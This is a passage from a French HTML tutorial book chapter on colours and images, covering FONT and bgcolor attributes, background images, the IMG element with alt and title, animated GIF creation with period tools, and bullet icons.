que vous souhaitez voir à quelle couleur il correspond, accomplissez
exactement l’opération inverse : convertissez le code en décimal, puis
saisissez directement sous Paint les valeurs obtenues dans les cases
adéquates : la couleur correspondante s’ajuste après la modification de
chaque valeur, pour aboutir à la couleur cherchée.

182 LE GUIDE COMPLET

 Les couleurs Chapitre 6

On line
Vous pouvez également vous servir d’un convertisseur en ligne,
comme celui proposé par AlterLinks à l’adresse [Link]
/conversion-table/[Link]

Modification de la couleur du texte dans

un élément de page
Comme pour l’élément BASEFONT, vous pouvez recourir à l’attribut
color d’un élément FONT pour modifier la couleur du texte pour ou
dans un élément. Gardez bien présent à l’esprit que toute modification
appliquée à l’aide de FONT reste active jusqu’à la fermeture de l’élément
FONT !

Pour renforcer l’impact d’un terme important, vous pouvez combiner

l’emploi d’une emphase STRONG avec une couleur rouge, par exemple :
<P>Pensez &agrave; <STRONG><FONT color="red">sauvegarder
</FONT></STRONG> r&eacute;guli&egrave;rement votre travail !
</P>

Le mot « sauvegarder » s’affiche en gras et en rouge.

Figure 6.6 : Modification de la couleur d’un mot dans un élément

LE GUIDE COMPLET 183

 Chapitre 6 Couleurs et images

Modification du schéma de couleurs d’un

tableau
bgcolor est un autre attribut facultatif de plusieurs éléments de
tableau TABLE, TR, TD et TH. De façon analogue à l’attribut bgcolor de
l’élément BODY, il modifie la couleur de fond. Il peut donc modifier la
couleur de fond de tout le tableau, d’une ligne ou d’une cellule d’en-tête
ou de donnée.

Si vous modifiez le fond d’une cellule, assurez-vous bien que cela ne

compromette pas la lisibilité du texte qui y est placé : servez-vous de
l’élément FONT ou mieux encore d’une feuille de style pour modifier
également la couleur du texte. L’attribut bgcolor est désormais
déconseillé au profit des feuilles de style. Les fonds colorés de tableaux
ne sont pas reconnus par les plus vieux navigateurs.

Modifier la couleur d’une cellule de tableau

Pour modifier la couleur de fond d’une cellule de tableau, insérez
l’attribut bgcolor dans l’élément TD, exactement comme vous
procéderiez avec un élément BODY ou un élément TABLE.

Figure 6.7 : Modification de la couleur de fond d’une cellule de tableau

N’oubliez pas de modifier si nécessaire la couleur de la police à l’aide

de l’élément FONT !

Précautions à prendre avec les couleurs

L’emploi des couleurs nécessite certaines précautions. Sachez que leur
rendu réel dépend de la configuration tant matérielle que logicielle de

184 LE GUIDE COMPLET

 Les couleurs Chapitre 6

l’ordinateur de l’utilisateur. Chaque carte graphique, chaque écran, voire

chaque navigateur peut influencer légèrement le rendu. Si la différence
est généralement subtile, une configuration inhabituelle peut rendre le
site difficile à lire. C’est pourquoi, une fois encore, mieux vaut tester le
site sur autant de machines différentes que possible (il suffit d’examiner
les rangées de téléviseurs dans n’importe quel magasin d’audiovisuel ou
grande surface pour disposer d’une idée des variations susceptibles de se
produire selon le matériel employé !). Une bonne astuce consiste
souvent à examiner le site à l’aide d’une machine et de logiciels datant
un peu, pour voir si le site se « dégrade » de façon acceptable.

Par exemple, vous avez remarqué que le codage RGB permet de

disposer de plus de 16 millions de couleurs : si votre écran n’est pas
configuré en millions de couleurs, vous ne pourrez voir selon les cas que
65 000 ou même 216 couleurs (utilisation dans ce cas uniquement des
nombres 00, 33, 66, 99, CC et FF).

Même si les couleurs peuvent apporter beaucoup d’informations aux

documents et les rendre plus lisibles, mieux vaut s’en tenir aux principes
suivants lors de leur emploi :
j Attention aux combinaisons de couleurs susceptibles de poser
problème aux personnes atteintes de daltonisme dans ses diverses
formes. Toutes les études démontrent que 10 à 12 % de la
population distinguent plus ou moins mal les couleurs. Si cela se
limite le plus souvent à une confusion entre le rouge et le vert,
certains sont totalement aveugles aux couleurs. Les couleurs
possédant la même intensité lumineuse leur sont particulièrement
difficiles à distinguer. Lorsque vous définissez les couleurs de
fond et de texte, souvenez-vous que des couleurs à fort contraste,
noir et blanc ou noir et jaune, sont plus facile à voir et à
différencier. Les visiteurs souffrant d’une déficience d’acuité
visuelle vous en sauront gré également !
j Si vous employez une image d’arrière-plan ou définissez une
couleur d’arrière-plan, veillez à bien assortir les diverses couleurs
des textes.
j Les couleurs définies par les éléments BODY et FONT, et par
l’attribut bgcolor sur les tables ressortent différemment selon les
plates-formes (par exemple, entre les stations de travail et les
ordinateurs Macintosh et Windows, et entre les écrans à cristaux
liquides et les écrans cathodiques) : vous ne pouvez pas compter
uniquement sur un effet spécifique. Dans le futur, la gestion du

LE GUIDE COMPLET 185

 Chapitre 6 Couleurs et images

modèle de couleur SRGB en même temps que celle des profils de

couleur ICC devrait atténuer ce problème.
j La spécification de couleurs dans des éléments HTML est
déconseillée. Servez-vous plutôt des feuilles de style.

Enfin, sachez que les couleurs peuvent être désactivées par l’utilisateur.
Tous les navigateurs ou presque possèdent désormais des options de
gestion des couleurs ou autorisent les utilisateurs à définir un ensemble
particulier de couleurs à utiliser pour tout site visité. Assurez-vous que
vos graphismes ne risquent pas de disparaître ou de perdre toute
signification si un autre schéma de couleur est retenu. Les schémas les
plus classiques sont les suivants :
j Fond blanc, texte noir, liens hypertextes bleus.
j Fond noir, texte blanc et liens hypertextes jaunes.
j Fond gris, texte noir et liens hypertextes bleus.

Qu’il s’agisse là des schémas les plus fréquents ne signifie pas qu’ils
soient les seuls. Certains utilisateurs peuvent avoir retenu des couleurs à
contraste maximal, d’autres peuvent avoir augmenté fortement la taille
des polices afin de lire plus aisément les textes.

6.2. Les images

Vous le savez déjà, il est possible de placer des images sur un site Web.
Les pages Web ont le plus souvent recours à deux formats de fichiers
graphiques, GIF (Graphic Interchange Format) et JPEG (Join
Photographic Experts Group), même s’il est parfois possible de rencontrer
des images PNG (Portable Network Graphic). Le format JPEG, qui
accepte 16,7 millions de couleurs, est surtout employé pour des
photographies et les graphismes dotés de nombreuses couleurs. Leur
système de compression leur permet de diminuer la taille totale des
fichiers. En revanche, le format GIF, limité à une palette maximale de
256 couleurs, sert plutôt pour les dessins au trait, les icônes et les images
animées.

Le format PNG, libre de droits, est annoncé comme le successeur du

format propriétaire GIF. PNG prend en charge trois types d’images :
vraies couleurs, échelle de gris et fondée sur une palette (« 8 bits »),
tandis que JPEG ne prend en charge que les deux premiers et GIF
uniquement le troisième, même s’il peut émuler une échelle de gris à

186 LE GUIDE COMPLET

 Les images Chapitre 6

l’aide d’une palette de gris. PNG gère en outre la transparence d’une

façon plus sophistiquée que GIF. Il s’agit d’un format destiné aux
images fixes, même si un projet nommé MNG pour les images animées
a vu le jour en 1999. La compression PNG est d’excellente qualité.

En pratique, le choix du format se limite souvent à la version de l’image

qui occupe le moins de place. Le temps de chargement d’une page étant
proportionnel au nombre d’éléments graphiques qu’elle contient ainsi
qu’à leur taille totale, il est capital de retenir des images de la plus faible
taille possible. Il est prouvé qu’une page demandant plus de 15 secondes
de téléchargement a tendance à chasser les visiteurs potentiels
(attention : en situation réelle, pas en local sur votre ordinateur !).

Quel que soit le format d’image retenu, l’inclusion dans une page Web
reste identique.

Image d’arrière-plan
Au lieu d’un fond de couleur uniforme, vous pouvez utiliser une image
d’arrière-plan (background), spécifiée dans l’élément BODY à l’aide de
l’attribut background. La syntaxe est la suivante :
<BODY background ="nomfichier">

où « nomfichier » est le nom du fichier image à utiliser comme fond

d’écran. Cet attribut est désormais déconseillé, au profit des feuilles de
style.

Une telle image remplit l’écran par un effet de mosaïque. Autrement dit,
elle est répétée en largeur autant de fois que nécessaire pour occuper la
largeur de l’écran et est de même répétée en hauteur autant de fois que
nécessaire pour remplir toute la hauteur de l’écran.

Évitez les très grands graphismes en fond d’écran : cela fonctionne

rarement bien, et les utilisateurs disposant de grands écrans voient
aisément la répétition du graphisme.

Une image d’arrière-plan est prioritaire sur une couleur d’arrière-plan

avec la plupart des navigateurs.

Ce type d’image est principalement employé de deux façons : pour créer

un effet de bordure (à droite ou à gauche) ou comme mosaïque filigranée
sur tout l’écran.

LE GUIDE COMPLET 187

 Chapitre 6 Couleurs et images

La première solution a recours à une image de hauteur relativement

faible (par exemple, une spirale, ou des petits carreaux avec une marge)
et de largeur égale à la largeur conseillée pour le site concerné. Ainsi, la
répétition est en théorie uniquement verticale, et peut créer un effet de
cahier à spirales ou de cahier d’écolier à carreaux, avec un trait de marge
en couleur. Inconvénient évident, si la largeur d’écran employée n’est
pas exactement celle prévue, la répétition peut également se produire
horizontalement, détruisant toute cette belle présentation.

Vous pourrez également parfois rencontrer une image ne mesurant que

quelques pixels de haut et de grande largeur. L’auteur a pris la
précaution de s’assurer d’une apparente continuité entre le haut et le bas
de son image, ainsi qu’entre les côtés droit et gauche : toute répétition
semble alors presque invisible.

Figure 6.8 : Une image ayant la forme d’un fin bandeau.

Figure 6.9 : Un fin bandeau employé comme image de fond est une solution
séduisante de prime abord…

L’image employée ici, qui mesure 802 pixels de large sur 32 de haut, est
adaptée à une fenêtre de navigateur d’environ 800 pixels de large (soit
une résolution de 800 x 600, pour un affichage en plein écran). Si la
fenêtre est plus petite ou plus grande, tout l’aspect est compromis.

188 LE GUIDE COMPLET

 Les images Chapitre 6

Figure 6.10 :
Un aspect modifié par
l’utilisateur

Figure 6.11 : … mais qui reste largement dépendante de l’utilisateur !

La seconde solution a recours à une image de fond de relativement

petite taille (plus la taille est petite et plus les erreurs de répétition sont
imperceptibles), très peu colorée et contrastée, servant ainsi de
« filigrane » au reste du contenu. J’avoue affectionner particulièrement
ce type de fond, que je trouve efficace, sobre et élégant.

Figure 6.12 :
L’emploi d’un filigrane.

LE GUIDE COMPLET 189

 Chapitre 6 Couleurs et images

Figure 6.13 : L’emploi d’un filigrane.

Figure 6.14 : L’emploi d’un filigrane de faible taille (ici 129 × 159 pixels) est
une solution possible, indépendante de la taille de l’écran employé.

Image insérée
Vous pouvez également insérer des images pratiquement dans tout
élément de votre page : une image peut donc se trouver en plein milieu
d’un texte, ou ce dernier s’enrouler en colonnes autour du dessin.

Avant d’envisager de diffuser une image sur Internet, vous devez

prendre certaines précautions (comme d’ailleurs avec pratiquement tout
contenu) : veillez à toujours respecter scrupuleusement la législation sur
le copyright et les droits d’auteur. Pour pouvoir diffuser une image sur
votre site, vous devez vérifier que vous avez le droit de le faire : soit elle
est libre de droits, soit vous avez obtenu l’accord de son propriétaire

190 LE GUIDE COMPLET

 Les images Chapitre 6

(auteur), soit enfin vous en êtes vous-même l’auteur. Même dans ce

dernier cas, si l’image est une photographie représentant d’autres
personnes, vous devez obtenir leur autorisation formelle.

Depuis bien longtemps, HTML permet l’inclusion d’images à l’aide de

l’élément IMG. Cet élément incorpore une image dans le document
courant, à l’emplacement de la définition de l’élément. Dépourvu de
contenu, il est généralement remplacé dans la ligne par l’image que
désigne l’attribut src, les images alignées à gauche ou à droite qui
« flottent » hors de la ligne faisant exception.

Nous allons modifier l’apparence de la page secondaire Région en

insérant une image. Pour simplifier, nous allons employer une image
dont disposent normalement tous les utilisateurs de machines Windows
XP : une de celles se trouvant dans le dossier Echantillons d’images du
dossier Mes images. Avant de commencer, il faut vous livrer à quelques
travaux préparatoires :
1 Ouvrez l’Explorateur Windows, naviguez jusqu’à votre dossier
MonSite et créez-y un sous-dossier, nommé Images : vous y
placerez toutes les images employées sur le site. C’est une bonne
habitude à prendre pour éviter de surcharger le répertoire
principal.

Subdivisions
Vous pourriez même aller encore plus loin et subdiviser le sous-
dossier Images en plusieurs sous-dossiers : gif (les images GIF statiques),
gifanim (les gif animés), icone (les icônes et boutons) et JPEG (les
photos).

2 Choisissez Démarrer > Mes images, puis cliquez sur le dossier

Echantillons d’images.
3 Sélectionnez l’image Coucher de [Link], puis choisissez dans la
barre de menu Edition > Copier.
4 Revenez dans votre dossier MonSite/Images, puis collez l’image
de coucher de soleil en choisissant Edition > Coller.
5 Procédez de la même façon pour les images [Link] et
Né[Link].

Vous êtes maintenant prêt à insérer des images sur votre site.
6 Ouvrez le Bloc-Notes, puis ouvrez le fichier region1_4_3.html.

LE GUIDE COMPLET 191

 Chapitre 6 Couleurs et images

7 Modifiez d’abord le numéro de version :

<META name ="version" content="1.6.1">

8 Profitez-en pour modifier le lien vers la page d’accueil en fonction

du nom du fichier actuel :
<A href="pageacc1_6_1.html">Retour vers la page d’accueil
</A>

9 Placez-vous maintenant dans la première cellule de la première

ligne, et remplacez le contenu texte « ...Une image sera
placée ici... » par un élément IMG, comme suit :
<TD rowspan="3"><IMG src="Images/Coucher de [Link]">
</TD>

Remarquez que la balise IMG est dépourvue d’élément de fermeture :

son contenu est défini par la valeur de l’attribut src, un URI. Cet
attribut indique au navigateur où trouver l’image, comme l’attribut href
de l’élément A indique où trouver la ressource liée à une ancre.

Sensibilité à la casse
Respectez avec soin la casse dans l’URI de l’élément IMG, comme
pour tout URI. Certains navigateurs et/ou serveurs sont sensibles à la
casse des URI. Tous ne l’étant pas, votre site pourrait fonctionner
parfaitement en local, mais plus du tout une fois en ligne. Une bonne
habitude consiste à n’employer que des minuscules pour les noms des
fichiers image.
Cette sensibilité à la casse étant susceptible de concerner également
l’extension, vérifiez celles de vos fichiers image : certains programmes de
dessin enregistrent automatiquement les fichiers avec une extension en
majuscules.

XHTML
En XHTML, cette instruction s’écrirait :
<img src="Images/Coucher de [Link]" />

10 Enregistrez le fichier sous le nom region1_6_1.html, puis examinez

cette page dans votre navigateur.

192 LE GUIDE COMPLET

 Les images Chapitre 6

Archivez…
L’habitude prise ici d’attribuer aux fichiers un nom comportant le
numéro de version n’a pour but que d’éviter les recouvrements de
fichiers et de permettre d’étudier les versions précédentes. Pour un site
réel, cette méthode n’est guère à recommander, la modification des noms
de fichiers entraînant des risques de liens rompus et imposant de mettre
continuellement à jour ces liens. Mieux vaut archiver les anciens
fichiers, puis les modifier sans changer leur nom.

Figure 6.15 : Insertion d’une image

L’aspect n’est pas extraordinaire, et ce pour plusieurs raisons. Nous ne

commenterons pas le choix de l’image, puisqu’il a fallu employer une
image préexistante sur la majorité des systèmes : le choix est très limité.
En revanche, cette image semble de taille un peu exagérée, « écrasant »
tout le tableau et nécessitant un écran de grande taille. En examinant le
fichier image, vous voyez que celle-ci mesure 800 × 600 pixels : une
taille imposante, sans doute démesurée par rapport à nos besoins. Il

LE GUIDE COMPLET 193

 Chapitre 6 Couleurs et images

faudrait l’afficher en taille plus réduite. C’est ce que permettent les

attributs height et width de l’élément IMG.
11 Modifiez comme suit l’élément IMG en ajoutant les attributs
height et width :
<TD rowspan="3">
<IMG src="Images/coucher de [Link] " width="267"
height="200">
</TD>

12 Enregistrez à nouveau le fichier sous le même nom puis examinez

la page dans votre navigateur.

Figure 6.16 : Insertion d’une image à taille déterminée

Nous avons ici divisé la taille d’affichage de l’image par 3. L’aspect est
nettement plus satisfaisant (remarquez que nous avons conservé
exactement la même taille de fenêtre que pour la capture d’écran
précédente).

Ces deux attributs méritent quelques commentaires supplémentaires :

j Leurs valeurs sont exprimées en pixels.

194 LE GUIDE COMPLET

 Les images Chapitre 6

j Les deux attributs ne sont pas obligatoires si vous souhaitez

modifier la taille d’une image de façon proportionnelle : ne saisir
que height="200" suffit à réduire la taille de l’image d’un tiers
en hauteur et en largeur. La présence des deux attributs permet en
outre de modifier le ratio de l’image, ce qui est parfois utile.
j Ces attributs ont été employés ici pour réduire la taille de l’image,
mais ils auraient tout aussi bien pu servir à l’augmenter. Selon le
rapport d’agrandissement retenu, attendez-vous à une perte de
qualité (pixellisation de l’image).
j Lorsque vous incluez ces attributs, la page Web semble se charger
plus vite : le navigateur est en mesure d’afficher le texte avant
d’avoir fini de charger la page, car il connaît la place à réserver à
l’image. En leur absence, le visiteur est confronté à une page
blanche pendant le chargement de l’image, le navigateur ne
sachant pas la place libre dont il dispose pour afficher le texte. Ce
phénomène est presque imperceptible en local, mais devient
évident lorsque la page est téléchargée depuis le Web.

En pratique, vous chargez ici une image d’un « poids » environ neuf fois
supérieur à ce qui est nécessaire : 800 × 600 pixels, soit 480 000 pixels,
alors que vous n’exploitez qu’une image de 266 × 200 pixels, soit
53 200 pixels. Malgré la compression JPEG, le temps de chargement est
environ neuf fois supérieur aux besoins. Mieux vaut toujours
redimensionner les images à la taille souhaitée à l’aide d’un programme
de dessin (nous reviendrons par la suite sur ce thème). En revanche,
conservez donc les attributs height et width pour accélérer l’affichage
de la page.
13 Lorsque vous insérez une image, vous devez penser aux agents
utilisateurs non visuels. Servez-vous de l’attribut alt pour
proposer une alternative textuelle dès le début du chargement de
l’image :
<IMG src="Images/coucher de [Link] " width="267"
height="200"
alt="Coucher de soleil sur le lac de Linciel">

14 Enregistrez à nouveau le fichier sous le même nom puis examinez

la page dans votre navigateur.

L’attribut alt spécifie le texte de remplacement qui est restitué si

l’image ne peut s’afficher. Les agents utilisateurs doivent restituer le
texte de remplacement quand ils ne gèrent pas les images, ne

LE GUIDE COMPLET 195

 Chapitre 6 Couleurs et images

reconnaissent pas un certain type d’image ou ne sont pas configurés

pour les afficher.

Remarquez qu’Internet Explorer affiche le texte alternatif dans une

infobulle lorsque le pointeur de la souris est placé sur l’image.

Figure 6.17 : Image avec texte alternatif

C’est une des nombreuses erreurs liées au manque de respect d’Internet

Explorer vis-à-vis de la spécification HTML 4.01 : la valeur de l’attribut
alt ne devrait être affichée que lorsque l’agent utilisateur ne peut
afficher l’image. Pour afficher un commentaire dans une infobulle, vous
devez employer l’attribut title.
15 Servez-vous de l’attribut title pour proposer un commentaire
affiché dans une infobulle lorsque le pointeur se trouve sur
l’image :
<IMG src="Images/coucher de [Link] "
width="267" height="200"
alt="Coucher de soleil sur le lac de Linciel"
title="Un coucher de soleil sur le lac de Linciel">

16 Enregistrez à nouveau le fichier sous le même nom puis examinez

la page dans votre navigateur.

Remarquez que nous avons volontairement différencié les valeurs des

attributs alt et title. Tant Internet Explorer que Firefox affichent
désormais le commentaire dans une infobulle. Internet Explorer

196 LE GUIDE COMPLET

 Les images Chapitre 6

n’affiche le contenu d’un éventuel attribut alt qu’en l’absence de

l’attribut title.

Figure 6.18 : Emploi de l’attribut title.

Figure 6.19 : Emploi de l’attribut title. Tant Internet Explorer que Firefox
affichent correctement ce commentaire dans une infobulle lorsque le
pointeur se trouve sur l’image.

LE GUIDE COMPLET 197

 Chapitre 6 Couleurs et images

Vous pouvez également recourir à l’attribut longdesc pour relier

l’image à une description plus détaillée. Cet attribut se comporte comme
une ancre :
<IMG src="[Link]" alt="Schéma du moteur "
longdesc="sché[Link]">

L’élément IMG possède d’autres attributs qui permettent de jouer sur les
paramètres de restitution d’une image :
j L’attribut align permet d’aligner l’image, de la même façon que
pour un paragraphe. Vous pouvez utiliser les valeurs center,
right ou left. Si vous placez du texte après le graphisme,
celui-ci coulera autour de l’image alignée à droite ou à gauche,
donnant un aspect similaire à celui d’un magazine.
j L’attribut border permet de définir la largeur du cadre entourant
l’image. En choisissant border="0", l’image sera dépourvue de
cadre.

6.3. Images animées

Pour ajouter de l’éclat à une page, il est possible d’utiliser des gifs
animés. Il s’agit d’un type d’image GIF qui peut être animé en
combinant plusieurs images en un unique fichier GIF, selon le standard
défini en 1987 par Compuserve. L’image effectue lors de sa restitution
un cycle à travers les différentes images élémentaires.

Même si les animations GIF n’offrent pas le niveau de souplesse et de

contrôle proposé par d’autres formats d’animation, il a connu et connaît
encore un immense succès largement dû au fait qu’il est reconnu par
l’immense majorité des navigateurs. En outre, les fichiers de gifs animés
sont généralement plus petits que d’autres fichiers d’animation, comme
les applets Java. Ce type d’image est souvent employé pour les
bannières publicitaires, pour attirer des visiteurs sur une page, mais peut
également servir à attirer l’attention sur des parties précises d’une page
ou comme boutons de barre de navigation.

GIF89a, comme GIF, possède une palette de couleurs comprise entre 2

et 256 couleurs. Plus la palette est petite et plus le fichier est de petite
taille. Si votre image GIF n’emploie que 4 couleurs, vous pouvez
réduire en conséquence la palette à 4 couleurs (2 bits) et ainsi diminuer
la taille du fichier de près de 75 %.

198 LE GUIDE COMPLET

 Images animées Chapitre 6

Insertion d’un gif animé

L’insertion d’un gif animé est strictement identique à celle d’une image
statique, comme vu précédemment.

Vous allez maintenant ajouter un gif animé à votre page d’accueil, pour
mieux attirer l’attention sur la ligne permettant de vous envoyer un
courriel. Problème : vous ne disposez pas d’un tel gif animé. Qu’à cela
ne tienne, vous pouvez heureusement trouver sur le Net de nombreuses
images libres de droits, que vous pouvez employer en toute liberté pour
vos créations. Ouvrez n’importe quel outil de recherche, tapez comme
mots-clés GIF et gratuit et vous n’avez que l’embarras du choix.

Figure 6.20 :
Une recherche simple procure des
milliers d’adresses potentielles

1 Ouvrez votre navigateur, puis connectez-vous à Internet (si ce

n’est déjà fait). Entrez l’adresse suivante dans la barre d’adresse
de votre navigateur : [Link]
2 Il s’agit d’une des adresses, choisie presque au hasard, de la
recherche précédente. Il en existe bien d’autres… Dans la fenêtre
qui s’affiche, cliquez dans le cadre du milieu sur Gif/Gif animés.

Figure 6.21 :
Page d’accueil de
WebGratuit

LE GUIDE COMPLET 199

 Chapitre 6 Couleurs et images

Dans la liste qui s’affiche, choisissez Webdesign (en bas de la

colonne de gauche), puis Mail (dans la colonne de droite), puis
enfin Boîtes. La page qui apparaît propose différentes images
animées de boîtes aux lettres.

Figure 6.22 : Gifs animés de boîtes aux lettres

3 Descendez si nécessaire dans la fenêtre pour vous placer sur la

seconde boîte aux lettres rouge sur fond noir (nommée
[Link]). Appuyez sur le bouton droit de votre souris et
choisissez Enregistrer la cible sous… .

Figure 6.23 :
Enregistrement d’un gif
animé

200 LE GUIDE COMPLET

 Images animées Chapitre 6

4 Dans la boîte de dialogue Enregistrer sous, sans modifier le nom

de fichier, choisissez le dossier de destination en naviguant
jusqu’à MonSite/Images, puis cliquez sur Enregistrer.
5 Dans le Bloc-Notes, ouvrez le fichier pageacc1_6_1.html.
Modifiez comme suit la ligne d’envoi de courriel :
<A href="[Link]
<IMG src="Images/[Link]">Ecrivez-moi !
</A>

6 Enregistrez le fichier sans modifier son nom, puis examinez-le

dans le navigateur.

Figure 6.24 : Page d’accueil modifiée

Vous comprenez pourquoi nous avons choisi un gif à fond noir : pour
que l’image se mêle agréablement au fond, défini comme noir
(bgcolor="black"). En revanche, l’aspect n’est pas très agréable : le
cadre jaune choque, tandis que la phrase « Écrivez-moi ! » fait double
emploi.
7 Rectifiez comme suit l’élément IMG :
<A href="[Link]
<IMG src="Images/[Link]" border="0"
alt="Ecrivez-moi !">
</A>

LE GUIDE COMPLET 201

 Chapitre 6 Couleurs et images

8 Enregistrez le fichier, puis rafraîchissez votre navigateur.

Figure 6.25 : Page d’accueil modifiée

L’aspect est plus agréable. Vous venez de comprendre en quoi

l’harmonisation des couleurs d’une page et de celles des éléments
graphiques qui y sont insérés est capitale.

Prenez garde à toujours sélectionner des couleurs en harmonie avec les

images et les icônes de votre page. Une fois les couleurs choisies, vous
pouvez les appliquer à votre fond, au texte et aux liens hypertextes selon
vos désirs. Inversement, si vous avez déjà sélectionné les couleurs (ou
qu’une charte graphique est imposée), soyez prudent dans le choix de
vos images.

Veillez au fond
Les images GIF peuvent posséder une couleur transparente
(généralement celle d’arrière-plan), ce qui facilite grandement leur
insertion sur n’importe quel fond. Tout arrière-plan coloré, ou fondé sur
une image, apparaîtra derrière le nouveau dessin. Veillez toutefois à ce
que l’image contraste agréablement avec le fond retenu.

202 LE GUIDE COMPLET

 Images animées Chapitre 6

La sélection ou la modification de la couleur transparente s’effectue

à l’aide de votre logiciel de dessin favori : reportez-vous à sa
documentation.

Création d’un gif animé

S’il existe sur le Web autant de gifs animés proposés en téléchargement
gratuit, cela n’est pas un hasard : la création de gifs animés est d’une
grande facilité, ce qui en a fait un sport international très prisé. Notez
qu’une image animée est chargée une seule fois, quel que soit le nombre
de répétitions programmées.

Il a été dit plus haut qu’il s’agissait d’une succession d’images GIF
assemblées en un unique fichier GIF : voyez-la un peu comme un dessin
animé, où chaque image présente une légère différence avec la
précédente. En partant d’une première image fixe,

Figure 6.26 :
Image fixe initiale

de taille relativement simple, il est assez facile de la dupliquer, de la

modifier légèrement,

Figure 6.27 :
Image modifiée : la couleur de fond a été
changée et définie comme transparente, et
seul reste un petit « éclair » partant du
cerveau.

LE GUIDE COMPLET 203

 Chapitre 6 Couleurs et images

de l’enregistrer sous un nouveau nom, et ainsi de suite, jusqu’à disposer

d’une série d’images élémentaires.

Figure 6.28 :
Les différentes images
élémentaires, chacune
avec un éclair (total ou
fractionnel) différent. Il faut
ensuite les assembler.

Pour ce faire, vous avez à votre disposition un certain nombre d’outils,

qui relèvent comme à l’habitude des produits commerciaux ou des
logiciels gratuits. Vous trouverez les adresses menant vers plusieurs
d’entre eux dans l’Annexe E, consacrée aux ressources Web. J’éprouve
une légère préférence (irrationnelle ?) pour deux d’entre eux,
probablement due au fait que je les emploie depuis longtemps. Le
premier, Microsoft Gif Animator version [Link], assez ancien (il a été
conçu pour Windows 95/98), est quelque peu spartiate. Sa simplicité le
rend toutefois particulièrement simple à employer. L’autre, Ulead Gif
Animator 1.5, également ancien (1997) est plus complexe. Il dispose en
particulier d’options intéressantes permettant de diminuer la taille du
fichier résultant… Il est fréquent que je me serve des deux en
combinaison, l’un après l’autre : vous comprendrez pourquoi un peu
plus loin.

Si Ulead Gif Animator 1.5 était à l’époque disponible gratuitement, les

versions ultérieures sont payantes. Une version de démonstration de
Ulead Gif Animator 5 (49,95 $ pour la version complète), peut être
téléchargée à l’adresse [Link]. Heureusement, Microsoft Gif
Animator reste disponible gratuitement, notamment à l’adresse [Link]
.fr/telecharger/windows/fiche/0,39021313,11010272s,[Link]

Une fois Microsoft Gif Animator téléchargé et installé, vous y importez

successivement les différentes images élémentaires.

204 LE GUIDE COMPLET

 Images animées Chapitre 6

Figure 6.29 :
Microsoft Gif Animator avec les images
élémentaires chargées

Là commence le vrai travail : vous pouvez jouer sur les différents

paramètres. L’onglet Options doit rester en principe inchangé. L’onglet
Animation également, sauf en ce qui concerne le réglage Lopping :
celui-ci détermine si l’animation doit se répéter et, le cas échéant, un
certain nombre de fois ou indéfiniment. Si l’option Loop forever est la
plus employée, dans certains cas une seule diffusion de l’animation est
préférable.

Sur l’onglet Images, le réglage Duration est le plus important : il définit

le temps, exprimé en centièmes de secondes, pendant lequel est affichée
l’image élémentaire active. En cliquant dans la barre d’outils sur Select
All, vous pouvez appliquer un paramètre à l’ensemble des images, puis
l’ajuster par la suite pour chaque image.

Il est possible de modifier l’ordre des images mais aussi d’ajouter (ou de
répéter) ou supprimer des images élémentaires. Dans tous les cas, un
clic sur le bouton Preview permet d’obtenir un aperçu de l’image.

Figure 6.30 :
Aperçu de l’animation dans Microsoft Gif Animator

LE GUIDE COMPLET 205

 Chapitre 6 Couleurs et images

Une fois satisfait du résultat, il ne vous reste qu’à enregistrer le fichier

de gif animé sous le nom et à l’emplacement de votre choix.

Nous avons cependant signalé qu’il était important de chercher à

optimiser en la diminuant la taille de tout fichier téléchargé pour une
page Web. C’est là qu’intervient pour moi Ulead Gif Animator 1.5,

Figure 6.31 : Ulead Gif Animator

dont l’utilitaire d’optimisation des gifs animés est remarquable.

Figure 6.32 :
Un autre écran de
l’Assistant Optimisation
d’Ulead Gif Animator

206 LE GUIDE COMPLET

 Images animées Chapitre 6

Figure 6.33 :
encore un autre…

Figure 6.34 :
La diversité des écrans de
l’Assistant Optimisation
d’Ulead Gif Animator

Figure 6.35 :
Différents écrans de l’Assistant
Optimisation d’Ulead Gif Animator

Remarquez que la taille du fichier a été très fortement diminuée : passer

de presque deux dixièmes de seconde à un centième de seconde de
temps de téléchargement n’offre rien d’anodin. Soyons tout de même
honnête : cela est estimé à partir des temps de chargement de l’époque
(soit à l’aide d’un modem à 28,8 kbps). Si le rapport de grandeur reste le
même aujourd’hui, avec une connexion à 500 kbps (presque le
minimum d’une connexion câble ou ADSL), les temps de chargement
sont respectivement 1 centième de seconde et 0,5 millième de seconde.

LE GUIDE COMPLET 207

 Chapitre 6 Couleurs et images

Même si la page comporte cent images animées, la différence est

presque imperceptible pour l’utilisateur. Il demeure toutefois que, par
respect pour les utilisateurs disposant de connexions plus lentes tant que
pour préserver la bande passante globale, mieux vaut toujours réduire la
taille des fichiers téléchargés.

Il existe d’autres produits similaires, dont A Smaller Gif, disponible à

l’adresse [Link]/smaller/[Link]

Figure 6.36 :
Optimisation à l’aide de A
Smaller Gif

Une recherche devrait également vous fournir des adresses d’outils en

ligne.

Parmi les nombreux autres célèbres utilitaires de création de gifs

animés, il convient également de citer Animated Shop 3 (29 $, mais
livré gratuitement en accompagnement de l’excellent Paint Shop Pro 9,
129 $ : [Link]/products/paintshoppro/) et Gif gIf giF ([Link]
/ggg/[Link]). N’hésitez pas à télécharger les versions de
démonstration pour vous familiariser avec ces produits et
éventuellement compléter ou remplacer le produit gratuit de Microsoft.

208 LE GUIDE COMPLET

 Images animées Chapitre 6

Emploi d’icônes de puces pour une liste désordonnée

Vous avez certainement déjà remarqué de splendides listes, avec des
puces colorées figurant en tête de chaque membre de la liste. Il est facile
d’en faire autant, même si cela diverge quelque peu du standard HTML.
Le recours à une icône de puce « rompt » la structure de la liste, certains
agents utilisateurs risquant alors de ne pas la reconnaître comme telle.
Au lieu d’employer une liste (élément UL), placez simplement un
élément saut de ligne (BR) après chaque membre de la liste. Au début de
la ligne suivante, insérez votre icône de puce (statique ou animée), par
exemple comme suit :
<IMG src="images/[Link]" height=5 width=5 alt="*">
Avec la majorité des navigateurs, vous ne verrez aucune différence
visuelle avec une « vraie » liste (voir les figures suivantes, présentant
respectivement une telle liste et le code source correspondant). Même si
cela est visuellement attrayant, gardez en mémoire qu’il s’agit d’une
atteinte à la structure du document…

Figure 6.37 :
Exemple de liste recourant
à des icônes de puces

Figure 6.38 : Fragment du code source de la page précédente

LE GUIDE COMPLET 209

 Chapitre 6 Couleurs et images

6.4. Image cliquable

Une image cliquable permet de spécifier des régions (ou un objet) dans
l’image et d’affecter une action particulière à chacune de ces régions
(par exemple, ouvrir une nouvelle page, lancer un programme, etc.). Un
